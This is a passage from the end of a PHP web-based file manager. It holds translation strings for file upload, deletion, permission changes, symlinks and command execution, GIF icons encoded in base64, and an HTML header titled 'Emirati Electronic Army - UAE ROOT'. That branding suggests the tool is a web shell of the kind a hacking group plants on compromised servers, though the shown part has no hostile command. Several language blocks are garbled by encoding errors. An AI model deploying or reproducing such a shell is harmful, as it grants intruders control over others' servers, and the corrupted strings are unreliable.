'already_exists' => '"[%1]" bestaat al.',
'created' => '"[%1]" is aangemaakt.',
'not_created' => '"[%1]" kan niet worden aangemaakt.',
'really_delete' => 'Deze bestanden verwijderen?',
'deleted' => "Deze bestanden zijn verwijderd:\n[%1]",
'not_deleted' => "Deze bestanden konden niet worden verwijderd:\n[%1]",
'rename_file' => 'Bestandsnaam veranderen:',
'renamed' => '"[%1]" heet nu "[%2]".',
'not_renamed' => '"[%1] kon niet worden veranderd in "[%2]".',
'move_files' => 'Verplaats deze bestanden:',
'moved' => "Deze bestanden zijn verplaatst naar \"[%2]\":\n[%1]",
'not_moved' => "Kan deze bestanden niet verplaatsen naar \"[%2]\":\n[%1]",
'copy_files' => 'Kopieer deze bestanden:',
'copied' => "Deze bestanden zijn gekopieerd naar \"[%2]\":\n[%1]",
'not_copied' => "Deze bestanden kunnen niet worden gekopieerd naar \"[%2]\":\n[%1]",
'not_edited' => '"[%1]" kan niet worden bewerkt.',
'executed' => "\"[%1]\" is met succes uitgevoerd:\n{%2}",
'not_executed' => "\"[%1]\" is niet goed uitgevoerd:\n{%2}",
'saved' => '"[%1]" is opgeslagen.',
'not_saved' => '"[%1]" is niet opgeslagen.',
'symlinked' => 'Symlink van "[%2]" naar "[%1]" is aangemaakt.',
'not_symlinked' => 'Symlink van "[%2]" naar "[%1]" is niet aangemaakt.',
'permission_for' => 'Bevoegdheid voor "[%1]":',
'permission_set' => 'Bevoegdheid van "[%1]" is ingesteld op [%2].',
'permission_not_set' => 'Bevoegdheid van "[%1]" is niet ingesteld op [%2].',
'not_readable' => '"[%1]" kan niet worden gelezen.'
);
case 'se':
$date_format = 'n/j/y H:i:s';
$word_charset = 'ISO-8859-1';
return array(
'directory' => 'Mapp',
'file' => 'Fil',
'filename' => 'Filnamn',
'size' => 'Storlek',
'permission' => 'Sنkerhetsnivه',
'owner' => 'ؤgare',
'group' => 'Grupp',
'other' => 'Andra',
'functions' => 'Funktioner',
'read' => 'Lنs',
'write' => 'Skriv',
'execute' => 'Utfِr',
'create_symlink' => 'Skapa symlink',
'delete' => 'Radera',
'rename' => 'Byt namn',
'move' => 'Flytta',
'copy' => 'Kopiera',
'edit' => 'ؤndra',
'download' => 'Ladda ner',
'upload' => 'Ladda upp',
'create' => 'Skapa',
'change' => 'ؤndra',
'save' => 'Spara',
'set' => 'Markera',
'reset' => 'Tِm',
'relative' => 'Relative path to target',
'yes' => 'Ja',
'no' => 'Nej',
'back' => 'Tillbaks',
'destination' => 'Destination',
'symlink' => 'Symlink',
'no_output' => 'no output',
'user' => 'Anvنndare',
'password' => 'Lِsenord',
'add' => 'Lنgg till',
'add_basic_auth' => 'add basic-authentification',
'uploaded' => '"[%1]" har laddats upp.',
'not_uploaded' => '"[%1]" kunde inte laddas upp.',
'already_exists' => '"[%1]" finns redan.',
'created' => '"[%1]" har skapats.',
'not_created' => '"[%1]" kunde inte skapas.',
'really_delete' => 'Radera dessa filer?',
'deleted' => "De hنr filerna har raderats:\n[%1]",
'not_deleted' => "Dessa filer kunde inte raderas:\n[%1]",
'rename_file' => 'Byt namn pه fil:',
'renamed' => '"[%1]" har bytt namn till "[%2]".',
'not_renamed' => '"[%1] kunde inte dِpas om till "[%2]".',
'move_files' => 'Flytta dessa filer:',
'moved' => "Dessa filer har flyttats till \"[%2]\":\n[%1]",
'not_moved' => "Dessa filer kunde inte flyttas till \"[%2]\":\n[%1]",
'copy_files' => 'Kopiera dessa filer:',
'copied' => "Dessa filer har kopierats till \"[%2]\":\n[%1]",
'not_copied' => "Dessa filer kunde inte kopieras till \"[%2]\":\n[%1]",
'not_edited' => '"[%1]" kan inte نndras.',
'executed' => "\"[%1]\" har utfِrts:\n{%2}",
'not_executed' => "\"[%1]\" kunde inte utfِras:\n{%2}",
'saved' => '"[%1]" har sparats.',
'not_saved' => '"[%1]" kunde inte sparas.',
'symlinked' => 'Symlink frهn "[%2]" till "[%1]" har skapats.',
'not_symlinked' => 'Symlink frهn "[%2]" till "[%1]" kunde inte skapas.',
'permission_for' => 'Rنttigheter fِr "[%1]":',
'permission_set' => 'Rنttigheter fِr "[%1]" نndrades till [%2].',
'permission_not_set' => 'Permission of "[%1]" could not be set to [%2].',
'not_readable' => '"[%1]" kan inte lنsas.'
);
case 'sp':
$date_format = 'j/n/y H:i:s';
$word_charset = 'ISO-8859-1';
return array(
'directory' => 'Directorio',
'file' => 'Archivo',
'filename' => 'Nombre Archivo',
'size' => 'Tamaٌo',
'permission' => 'Permisos',
'owner' => 'Propietario',
'group' => 'Grupo',
'other' => 'Otros',
'functions' => 'Funciones',
'read' => 'lectura',
'write' => 'escritura',
'execute' => 'ejecuciَn',
'create_symlink' => 'crear enlace',
'delete' => 'borrar',
'rename' => 'renombrar',
'move' => 'mover',
'copy' => 'copiar',
'edit' => 'editar',
'download' => 'bajar',
'upload' => 'subir',
'create' => 'crear',
'change' => 'cambiar',
'save' => 'salvar',
'set' => 'setear',
'reset' => 'resetear',
'relative' => 'Path relativo',
'yes' => 'Si',
'no' => 'No',
'back' => 'atrلs',
'destination' => 'Destino',
'symlink' => 'Enlace',
'no_output' => 'sin salida',
'user' => 'Usuario',
'password' => 'Clave',
'add' => 'agregar',
'add_basic_auth' => 'agregar autentificaciَn bلsica',
'uploaded' => '"[%1]" ha sido subido.',
'not_uploaded' => '"[%1]" no pudo ser subido.',
'already_exists' => '"[%1]" ya existe.',
'created' => '"[%1]" ha sido creado.',
'not_created' => '"[%1]" no pudo ser creado.',
'really_delete' => '؟Borra estos archivos?',
'deleted' => "Estos archivos han sido borrados:\n[%1]",
'not_deleted' => "Estos archivos no pudieron ser borrados:\n[%1]",
'rename_file' => 'Renombra archivo:',
'renamed' => '"[%1]" ha sido renombrado a "[%2]".',
'not_renamed' => '"[%1] no pudo ser renombrado a "[%2]".',
'move_files' => 'Mover estos archivos:',
'moved' => "Estos archivos han sido movidos a \"[%2]\":\n[%1]",
'not_moved' => "Estos archivos no pudieron ser movidos a \"[%2]\":\n[%1]",
'copy_files' => 'Copiar estos archivos:',
'copied' => "Estos archivos han sido copiados a \"[%2]\":\n[%1]",
'not_copied' => "Estos archivos no pudieron ser copiados \"[%2]\":\n[%1]",
'not_edited' => '"[%1]" no pudo ser editado.',
'executed' => "\"[%1]\" ha sido ejecutado correctamente:\n{%2}",
'not_executed' => "\"[%1]\" no pudo ser ejecutado correctamente:\n{%2}",
'saved' => '"[%1]" ha sido salvado.',
'not_saved' => '"[%1]" no pudo ser salvado.',
'symlinked' => 'Enlace desde "[%2]" a "[%1]" ha sido creado.',
'not_symlinked' => 'Enlace desde "[%2]" a "[%1]" no pudo ser creado.',
'permission_for' => 'Permisos de "[%1]":',
'permission_set' => 'Permisos de "[%1]" fueron seteados a [%2].',
'permission_not_set' => 'Permisos de "[%1]" no pudo ser seteado a [%2].',
'not_readable' => '"[%1]" no pudo ser leيdo.'
);
case 'dk':
$date_format = 'n/j/y H:i:s';
$word_charset = 'ISO-8859-1';
return array(
'directory' => 'Mappe',
'file' => 'Fil',
'filename' => 'Filnavn',
'size' => 'Stّrrelse',
'permission' => 'Rettighed',
'owner' => 'Ejer',
'group' => 'Gruppe',
'other' => 'Andre',
'functions' => 'Funktioner',
'read' => 'lوs',
'write' => 'skriv',
'execute' => 'kّr',
'create_symlink' => 'opret symbolsk link',
'delete' => 'slet',
'rename' => 'omdّb',
'move' => 'flyt',
'copy' => 'kopier',
'edit' => 'rediger',
'download' => 'download',
'upload' => 'upload',
'create' => 'opret',
'change' => 'skift',
'save' => 'gem',
'set' => 'sوt',
'reset' => 'nulstil',
'relative' => 'Relativ sti til valg',
'yes' => 'Ja',
'no' => 'Nej',
'back' => 'tilbage',
'destination' => 'Distination',
'symlink' => 'Symbolsk link',
'no_output' => 'ingen resultat',
'user' => 'Bruger',
'password' => 'Kodeord',
'add' => 'tilfّj',
'add_basic_auth' => 'tilfّj grundliggende rettigheder',
'uploaded' => '"[%1]" er blevet uploaded.',
'not_uploaded' => '"[%1]" kunnu ikke uploades.',
'already_exists' => '"[%1]" findes allerede.',
'created' => '"[%1]" er blevet oprettet.',
'not_created' => '"[%1]" kunne ikke oprettes.',
'really_delete' => 'Slet disse filer?',
'deleted' => "Disse filer er blevet slettet:\n[%1]",
'not_deleted' => "Disse filer kunne ikke slettes:\n[%1]",
'rename_file' => 'Omdّd fil:',
'renamed' => '"[%1]" er blevet omdّbt til "[%2]".',
'not_renamed' => '"[%1] kunne ikke omdّbes til "[%2]".',
'move_files' => 'Flyt disse filer:',
'moved' => "Disse filer er blevet flyttet til \"[%2]\":\n[%1]",
'not_moved' => "Disse filer kunne ikke flyttes til \"[%2]\":\n[%1]",
'copy_files' => 'Kopier disse filer:',
'copied' => "Disse filer er kopieret til \"[%2]\":\n[%1]",
'not_copied' => "Disse filer kunne ikke kopieres til \"[%2]\":\n[%1]",
'not_edited' => '"[%1]" kan ikke redigeres.',
'executed' => "\"[%1]\" er blevet kّrt korrekt:\n{%2}",
'not_executed' => "\"[%1]\" kan ikke kّres korrekt:\n{%2}",
'saved' => '"[%1]" er blevet gemt.',
'not_saved' => '"[%1]" kunne ikke gemmes.',
'symlinked' => 'Symbolsk link fra "[%2]" til "[%1]" er blevet oprettet.',
'not_symlinked' => 'Symbolsk link fra "[%2]" til "[%1]" kunne ikke oprettes.',
'permission_for' => 'Rettigheder for "[%1]":',
'permission_set' => 'Rettigheder for "[%1]" blev sat til [%2].',
'permission_not_set' => 'Rettigheder for "[%1]" kunne ikke sوttes til [%2].',
'not_readable' => '"[%1]" Kan ikke lوses.'
);
case 'tr':
$date_format = 'n/j/y H:i:s';
$word_charset = 'ISO-8859-1';
return array(
'directory' => 'Klasِr',
'file' => 'Dosya',
'filename' => 'dosya adi',
'size' => 'boyutu',
'permission' => 'Izin',
'owner' => 'sahib',
'group' => 'Grup',
'other' => 'Digerleri',
'functions' => 'Fonksiyonlar',
'read' => 'oku',
'write' => 'yaz',
'execute' => 'çalistir',
'create_symlink' => 'yarat symlink',
'delete' => 'sil',
'rename' => 'ad degistir',
'move' => 'tasi',
'copy' => 'kopyala',
'edit' => 'düzenle',
'download' => 'indir',
'upload' => 'yükle',
'create' => 'create',
'change' => 'degistir',
'save' => 'kaydet',
'set' => 'ayar',
'reset' => 'sifirla',
'relative' => 'Hedef yola gِre',
'yes' => 'Evet',
'no' => 'Hayir',
'back' => 'Geri',
'destination' => 'Hedef',
'symlink' => 'Ksa yol',
'no_output' => 'çikti yok',
'user' => 'Kullanici',
'password' => 'Sifre',
'add' => 'ekle',
'add_basic_auth' => 'ekle basit-authentification',
'uploaded' => '"[%1]" yüklendi.',
'not_uploaded' => '"[%1]" yüklenemedi.',
'already_exists' => '"[%1]" kullanilmakta.',
'created' => '"[%1]" olusturuldu.',
'not_created' => '"[%1]" olusturulamadi.',
'really_delete' => 'Bu dosyalari silmek istediginizden eminmisiniz?',
'deleted' => "Bu dosyalar silindi:\n[%1]",
'not_deleted' => "Bu dosyalar silinemedi:\n[%1]",
'rename_file' => 'Adi degisen dosya:',
'renamed' => '"[%1]" adili dosyanin yeni adi "[%2]".',
'not_renamed' => '"[%1] adi degistirilemedi "[%2]" ile.',
'move_files' => 'Tasinan dosyalar:',
'moved' => "Bu dosyalari tasidiginiz yer \"[%2]\":\n[%1]",
'not_moved' => "Bu dosyalari tasiyamadiginiz yer \"[%2]\":\n[%1]",
'copy_files' => 'Kopyalanan dosyalar:',
'copied' => "Bu dosyalar kopyalandi \"[%2]\":\n[%1]",
'not_copied' => "Bu dosyalar kopyalanamiyor \"[%2]\":\n[%1]",
'not_edited' => '"[%1]" düzenlenemiyor.',
'executed' => "\"[%1]\" basariyla çalistirildi:\n{%2}",
'not_executed' => "\"[%1]\" çalistirilamadi:\n{%2}",
'saved' => '"[%1]" kaydedildi.',
'not_saved' => '"[%1]" kaydedilemedi.',
'symlinked' => '"[%2]" den "[%1]" e ksayol oluturuldu.',
'not_symlinked' => '"[%2]"den "[%1]" e ksayol oluturulamad.',
'permission_for' => 'Izinler "[%1]":',
'permission_set' => 'Izinler "[%1]" degistirildi [%2].',
'permission_not_set' => 'Izinler "[%1]" degistirilemedi [%2].',
'not_readable' => '"[%1]" okunamiyor.'
);
case 'cs':
$date_format = 'd.m.y H:i:s';
$word_charset = 'UTF-8';
return array(
'directory' => 'Adresأ،إ™',
'file' => 'Soubor',
'filename' => 'Jmأ©no souboru',
'size' => 'Velikost',
'permission' => 'Prأ،va',
'owner' => 'Vlastnأk',
'group' => 'Skupina',
'other' => 'Ostatnأ',
'functions' => 'Funkce',
'read' => 'ؤŒtenأ',
'write' => 'Zأ،pis',
'execute' => 'Spouإ،tؤ›nأ',
'create_symlink' => 'Vytvoإ™it symbolickأ½ odkaz',
'delete' => 'Smazat',
'rename' => 'Pإ™ejmenovat',
'move' => 'Pإ™esunout',
'copy' => 'Zkopأrovat',
'edit' => 'Otevإ™أt',
'download' => 'Stأ،hnout',
'upload' => 'Nahraj na server',
'create' => 'Vytvoإ™it',
'change' => 'Zmؤ›nit',
'save' => 'Uloإ¾it',
'set' => 'Nastavit',
'reset' => 'zpؤ›t',
'relative' => 'Relatif',
'yes' => 'Ano',
'no' => 'Ne',
'back' => 'Zpؤ›t',
'destination' => 'Destination',
'symlink' => 'Symbolickأ½ odkaz',
'no_output' => 'Prأ،zdnأ½ vأ½stup',
'user' => 'Uإ¾ivatel',
'password' => 'Heslo',
'add' => 'Pإ™idat',
'add_basic_auth' => 'pإ™idej zأ،kladnأ autentizaci',
'uploaded' => 'Soubor "[%1]" byl nahrأ،n na server.',
'not_uploaded' => 'Soubor "[%1]" nebyl nahrأ،n na server.',
'already_exists' => 'Soubor "[%1]" uإ¾ exituje.',
'created' => 'Soubor "[%1]" byl vytvoإ™en.',
'not_created' => 'Soubor "[%1]" nemohl bأ½t vytvoإ™en.',
'really_delete' => 'Vymazat soubor?',
'deleted' => "Byly vymazأ،ny tyto soubory:\n[%1]",
'not_deleted' => "Tyto soubory nemohly bأ½t vytvoإ™eny:\n[%1]",
'rename_file' => 'Pإ™ejmenuj soubory:',
'renamed' => 'Soubor "[%1]" byl pإ™ejmenovأ،n na "[%2]".',
'not_renamed' => 'Soubor "[%1]" nemohl bأ½t pإ™ejmenovأ،n na "[%2]".',
'move_files' => 'Pإ™emأstit tyto soubory:',
'moved' => "Tyto soubory byly pإ™emأstؤ›ny do \"[%2]\":\n[%1]",
'not_moved' => "Tyto soubory nemohly bأ½t pإ™emأstؤ›ny do \"[%2]\":\n[%1]",
'copy_files' => 'Zkopأrovat tyto soubory:',
'copied' => "Tyto soubory byly zkopأrovأ،ny do \"[%2]\":\n[%1]",
'not_copied' => "Tyto soubory nemohly bأ½t zkopأrovأ،ny do \"[%2]\":\n[%1]",
'not_edited' => 'Soubor "[%1]" nemohl bأ½t otevإ™en.',
'executed' => "SOubor \"[%1]\" byl spuإ،tؤ›n :\n{%2}",
'not_executed' => "Soubor \"[%1]\" nemohl bأ½t spuإ،tؤ›n:\n{%2}",
'saved' => 'Soubor "[%1]" byl uloإ¾en.',
'not_saved' => 'Soubor "[%1]" nemohl bأ½t uloإ¾en.',
'symlinked' => 'Byl vyvoإ™en symbolickأ½ odkaz "[%2]" na soubor "[%1]".',
'not_symlinked' => 'Symbolickأ½ odkaz "[%2]" na soubor "[%1]" nemohl bأ½t vytvoإ™en.',
'permission_for' => 'Prأ،va k "[%1]":',
'permission_set' => 'Prأ،va k "[%1]" byla zmؤ›nؤ›na na [%2].',
'permission_not_set' => 'Prأ،va k "[%1]" nemohla bأ½t zmؤ›nؤ›na na [%2].',
'not_readable' => 'Soubor "[%1]" nenأ moإ¾no pإ™eؤچأst.'
);
case 'en':
default:
$date_format = 'n/j/y H:i:s';
$word_charset = 'ISO-8859-1';
return array(
'directory' => 'Directory',
'file' => 'File',
'filename' => 'Filename',
'size' => 'Size',
'permission' => 'Permission',
'owner' => 'Owner',
'group' => 'Group',
'other' => 'Others',
'functions' => 'Functions',
'read' => 'read',
'write' => 'write',
'execute' => 'execute',
'create_symlink' => 'create symlink',
'delete' => 'delete',
'rename' => 'rename',
'move' => 'move',
'copy' => 'copy',
'edit' => 'edit',
'download' => 'download',
'upload' => 'upload',
'create' => 'create',
'change' => 'change',
'save' => 'save',
'set' => 'set',
'reset' => 'reset',
'relative' => 'Relative path to target',
'yes' => 'Yes',
'no' => 'No',
'back' => 'back',
'destination' => 'Destination',
'symlink' => 'Symlink',
'no_output' => 'no output',
'user' => 'User',
'password' => 'Password',
'add' => 'add',
'add_basic_auth' => 'add basic-authentification',
'uploaded' => '"[%1]" has been uploaded.',
'not_uploaded' => '"[%1]" could not be uploaded.',
'already_exists' => '"[%1]" already exists.',
'created' => '"[%1]" has been created.',
'not_created' => '"[%1]" could not be created.',
'really_delete' => 'Delete these files?',
'deleted' => "These files have been deleted:\n[%1]",
'not_deleted' => "These files could not be deleted:\n[%1]",
'rename_file' => 'Rename file:',
'renamed' => '"[%1]" has been renamed to "[%2]".',
'not_renamed' => '"[%1] could not be renamed to "[%2]".',
'move_files' => 'Move these files:',
'moved' => "These files have been moved to \"[%2]\":\n[%1]",
'not_moved' => "These files could not be moved to \"[%2]\":\n[%1]",
'copy_files' => 'Copy these files:',
'copied' => "These files have been copied to \"[%2]\":\n[%1]",
'not_copied' => "These files could not be copied to \"[%2]\":\n[%1]",
'not_edited' => '"[%1]" can not be edited.',
'executed' => "\"[%1]\" has been executed successfully:\n{%2}",
'not_executed' => "\"[%1]\" could not be executed successfully:\n{%2}",
'saved' => '"[%1]" has been saved.',
'not_saved' => '"[%1]" could not be saved.',
'symlinked' => 'Symlink from "[%2]" to "[%1]" has been created.',
'not_symlinked' => 'Symlink from "[%2]" to "[%1]" could not be created.',
'permission_for' => 'Permission of "[%1]":',
'permission_set' => 'Permission of "[%1]" was set to [%2].',
'permission_not_set' => 'Permission of "[%1]" could not be set to [%2].',
'not_readable' => '"[%1]" can not be read.'
);
}
}
function getimage ($image) {
switch ($image) {
case 'file':
return base64_decode('R0lGODlhEQANAJEDAJmZmf///wAAAP///yH5BAHoAwMALAAAAAARAA0AAAItnIGJxg0B42rsiSvCA/REmXQWhmnih3LUSGaqg35vFbSXucbSabunjnMohq8CADsA');
case 'folder':
return base64_decode('R0lGODlhEQANAJEDAJmZmf///8zMzP///yH5BAHoAwMALAAAAAARAA0AAAIqnI+ZwKwbYgTPtIudlbwLOgCBQJYmCYrn+m3smY5vGc+0a7dhjh7ZbygAADsA');
case 'hidden_file':
return base64_decode('R0lGODlhEQANAJEDAMwAAP///5mZmf///yH5BAHoAwMALAAAAAARAA0AAAItnIGJxg0B42rsiSvCA/REmXQWhmnih3LUSGaqg35vFbSXucbSabunjnMohq8CADsA');
case 'link':
return base64_decode('R0lGODlhEQANAKIEAJmZmf///wAAAMwAAP///wAAAAAAAAAAACH5BAHoAwQALAAAAAARAA0AAAM5SArcrDCCQOuLcIotwgTYUllNOA0DxXkmhY4shM5zsMUKTY8gNgUvW6cnAaZgxMyIM2zBLCaHlJgAADsA');
case 'smiley':
return base64_decode('R0lGODlhEQANAJECAAAAAP//AP///wAAACH5BAHoAwIALAAAAAARAA0AAAIslI+pAu2wDAiz0jWD3hqmBzZf1VCleJQch0rkdnppB3dKZuIygrMRE/oJDwUAOwA=');
case 'arrow':
return base64_decode('R0lGODlhEQANAIABAAAAAP///yH5BAEKAAEALAAAAAARAA0AAAIdjA9wy6gNQ4pwUmav0yvn+hhJiI3mCJ6otrIkxxQAOw==');
}
}
function html_header () {
global $site_charset;
echo <<<END
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=$site_charset" />
<title>Emirati Electronic Army - UAE ROOT</title>
<style type="text/css">
body { font: small sans-serif; text-align: center }
img { width: 17px; height: 13px }
a, a:visited { text-decoration: none; color: navy }
hr { border-style: none; height: 1px; background-color: silver; color: silver }
#main { margin-top: 6pt; margin-left: auto; margin-right: auto; border-spacing: 1px }
#main th { background: #eee; padding: 3pt 3pt 0pt 3pt }
.listing th, .listing td { padding: 1px 3pt 0 3pt }
.listing th { border: 1px solid silver }
.listing td { border: 1px solid #ddd; background: white }
.listing .checkbox { text-align: center }
.listing .filename { text-align: left }
.listing .size { text-align: right }
.listing .permission_header { text-align: left }
.listing .permission { font-family: monospace }
.listing .owner { text-align: left }
.listing .group { text-align: left }
.listing .functions { text-align: left }
.listing_footer td { background: #eee; border: 1px solid silver }
#directory, #upload, #create, .listing_footer td, #error td, #notice td { text-align: left; padding: 3pt }
#directory { background: #eee; border: 1px solid silver }
#upload { padding-top: 1em }
#create { padding-bottom: 1em }
.small, .small option { font-size: x-small }
textarea { border: none; background: white }
table.dialog { margin-left: auto; margin-right: auto }
td.dialog { background: #eee; padding: 1ex; border: 1px solid silver; text-align: center }
#permission { margin-left: auto; margin-right: auto }
#permission td { padding-left: 3pt; padding-right: 3pt; text-align: center }
td.permission_action { text-align: right }
#symlink { background: #eee; border: 1px solid silver }
#symlink td { text-align: left; padding: 3pt }
#red_button { width: 120px; color: #400 }
#green_button { width: 120px; color: #040 }
#error td { background: maroon; color: white; border: 1px solid silver }
#notice td { background: green; color: white; border: 1px solid silver }
#notice pre, #error pre { background: silver; color: black; padding: 1ex; margin-left: 1ex; margin-right: 1ex }
code { font-size: 12pt }
td { white-space: nowrap }
</style>
<script type="text/javascript">
<!--
function activate (name) {
if (document && document.forms[0] && document.forms[0].elements['focus']) {
document.forms[0].elements['focus'].value = name;
}
}
//-->
</script>
</head>
<body>
END;
}
function html_footer () {
echo <<<END
</body>
</html>
END;
}
function notice ($phrase) {
global $cols;
$args = func_get_args();
array_shift($args);
return '<tr id="notice">
<td colspan="' . $cols . '">' . phrase($phrase, $args) . '</td>
</tr>
';
}
function error ($phrase) {
global $cols;
$args = func_get_args();
array_shift($args);
return '<tr id="error">
<td colspan="' . $cols . '">' . phrase($phrase, $args) . '</td>
</tr>
';
}
?>